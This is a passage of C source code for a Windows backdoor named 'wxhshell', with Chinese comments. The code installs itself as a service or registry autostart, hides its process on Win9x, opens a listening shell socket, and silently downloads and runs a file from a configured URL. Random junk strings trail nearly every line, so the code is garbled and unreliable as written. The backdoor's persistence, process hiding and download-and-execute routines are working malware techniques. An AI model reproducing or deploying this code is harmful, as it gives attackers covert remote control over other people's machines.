DWORD AffinityMask; _pvt,pW
DWORD BasePriority; XMxm2-%olP
ULONG UniqueProcessId; !Zc#E,
ULONG InheritedFromUniqueProcessId; A5%Now;.cf
} PROCESS_BASIC_INFORMATION; &H}Xk!q5b^
y0) mBCX
PROCNTQSIP NtQueryInformationProcess; ]1h9:PF
Hxc>?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :zO;E+s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '*&V7:
Y$|KY/)H)
HANDLE hProcess; am| 81)|a
PROCESS_BASIC_INFORMATION pbi; pMAFZfte!x
,#0#1k<Dm
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]]_c3LJ2`
if(NULL == hInst ) return 0; }h3[QUVf%
N?A}WW#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m5P@F@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EVLDP\w{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tv]9n8v
QMDkkNK
if (!NtQueryInformationProcess) return 0; 3lS1WA
mWLi XKnb
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qdc)S>gp
if(!hProcess) return 0; lx~C{tl2
]4lC/&nm
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (&_~eYZU
F"23vG>3
CloseHandle(hProcess); YCdtf7P=q
}%y5<n*v\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .^ba*qb`{
if(hProcess==NULL) return 0; fP\*5|7%R
_ vAc/_N
HMODULE hMod; $$B#S'
char procName[255]; I(/*pa?m{
unsigned long cbNeeded; _ZK*p+u%
*
COC&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .[?2_e#9 %
gmiLjI
CloseHandle(hProcess); S.U#lAn(
[mG!-.ll
if(strstr(procName,"services")) return 1; // 以服务启动 5n e&6
fK^;?4
return 0; // 注册表启动 1T4#+kW&
} >``
W*u$e8i7
// 主模块 $?;)uoAg
int StartWxhshell(LPSTR lpCmdLine) I 6L3M\+-
{ {?}^HW9{
SOCKET wsl; VLbbn
BOOL val=TRUE; wf^p?=Ke
int port=0; B~YOU3
struct sockaddr_in door; wOEc~WOd
#w!ewC vt
if(wscfg.ws_autoins) Install(); wxF\enDY
/:C<{m.[}
port=atoi(lpCmdLine); =9:gW5F69
8RcLs1n/
if(port<=0) port=wscfg.ws_port; +iNp8
Ir Y\Q)
WSADATA data; Wo5%@C#M
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NE|Q0g
NLt"yD3t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4)p ID`
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l.BiE<&
door.sin_family = AF_INET; 3sl6$NKo
door.sin_addr.s_addr = inet_addr("127.0.0.1"); nL]eGC
door.sin_port = htons(port); Dnd
jcRe),
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -U|Z9sia
closesocket(wsl); 1'1>B
return 1; #6C<P!]V
} S Erh"~[
mRxeob
if(listen(wsl,2) == INVALID_SOCKET) { jPn.w,=)27
closesocket(wsl); G\~?.s|^
return 1; CXTtN9N9
} XR$i:kL,,
Wxhshell(wsl); ;
FHnu|
WSACleanup(); X(Z(cY(
& u6ydN1xe
return 0; ~JP3C5q
}#&L
} a;\a>N4
U(%6ny
// 以NT服务方式启动 C 1)+^{7ef
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L XTtV0F
{ sH]T1z
DWORD status = 0; v@{VQVx
DWORD specificError = 0xfffffff; imB/P M
S>jOVWB
serviceStatus.dwServiceType = SERVICE_WIN32; J7t) H_S{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "Jdi>{o8
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p[)yn%uh
serviceStatus.dwWin32ExitCode = 0; zjzEmX
serviceStatus.dwServiceSpecificExitCode = 0; b1%w+* d<z
serviceStatus.dwCheckPoint = 0; _joW%`T8
serviceStatus.dwWaitHint = 0; 9WV8ZP
qggRS)a
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e*d lGK3l
if (hServiceStatusHandle==0) return; pimI)1 !$'
3sDyB-\&
status = GetLastError(); O'QnfpQ*9
if (status!=NO_ERROR) uO1^nK
{ @q{.
serviceStatus.dwCurrentState = SERVICE_STOPPED; L@f&71
serviceStatus.dwCheckPoint = 0; I.`DBI#-f
serviceStatus.dwWaitHint = 0; J/PK#<
serviceStatus.dwWin32ExitCode = status; lA`-"
serviceStatus.dwServiceSpecificExitCode = specificError; Pon0(:#1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cu<' b'%;
return; /+WC6&
} @g*[}`8]y
p4kK"
\ln
serviceStatus.dwCurrentState = SERVICE_RUNNING; ce719n$
serviceStatus.dwCheckPoint = 0; e)3Mg^
serviceStatus.dwWaitHint = 0; }iLi5Qkx
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ad=7FhnIa3
} ,'sDauFn
~{N#JOY}Z
// 处理NT服务事件,比如:启动、停止 tCGA3t
VOID WINAPI NTServiceHandler(DWORD fdwControl) jwI1 I {x
{ `M-
switch(fdwControl) O"_QDl<ya
{ m |.0$+=
case SERVICE_CONTROL_STOP: ^;?w<9Y
serviceStatus.dwWin32ExitCode = 0; n"Jj'8k
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~4c,'k@
serviceStatus.dwCheckPoint = 0; PTTUI
serviceStatus.dwWaitHint = 0; K)h<#F
{ mM_gOd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); vq@"y%C4
} D>`{f4Y
return; C[+?gQJ[9
case SERVICE_CONTROL_PAUSE: vi[~Qt
serviceStatus.dwCurrentState = SERVICE_PAUSED; =w:H9uj6F
break; '%YTMN@
case SERVICE_CONTROL_CONTINUE: +LF=oM<
serviceStatus.dwCurrentState = SERVICE_RUNNING; ")NQwT}
break; OSom-?|w
case SERVICE_CONTROL_INTERROGATE: "kucFf f
break; UY:Be8C A
}; U<'$ \P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xx?0Ftuq
} "#{b)!EH
/N@NT/.M<
// 标准应用程序主函数 YG>Eop
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TETfRnm
{ P+3
]g{2w
M2.*]AL
// 获取操作系统版本 'n?"f |G
OsIsNt=GetOsVer(); 4dh>B>Q
GetModuleFileName(NULL,ExeFile,MAX_PATH); 475jmQ{q
`"$9L[>
// 从命令行安装 R!rMrWX
if(strpbrk(lpCmdLine,"iI")) Install(); T{BGg
I."s&]FZ
// 下载执行文件 eE{
2{C
if(wscfg.ws_downexe) { mrVN&.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gX*
&RsF
WinExec(wscfg.ws_filenam,SW_HIDE); $% W.=a'5
} LC0-O1
7 S%`]M4;
if(!OsIsNt) { m# ^).+
// 如果时win9x,隐藏进程并且设置为注册表启动 :vC+}.{p
HideProc(); ;47 =x1ji
StartWxhshell(lpCmdLine); ww\2
} Rr\fw'
else *`tQX$F
if(StartFromService()) (. ,{x)H
// 以服务方式启动 .O
PBET(gv
StartServiceCtrlDispatcher(DispatchTable); CTc#*LJx>j
else Fk?KR
// 普通方式启动 {_4zm&
StartWxhshell(lpCmdLine); ?;go5f+X
u 0 K1n_
return 0; 5WtI.7r
}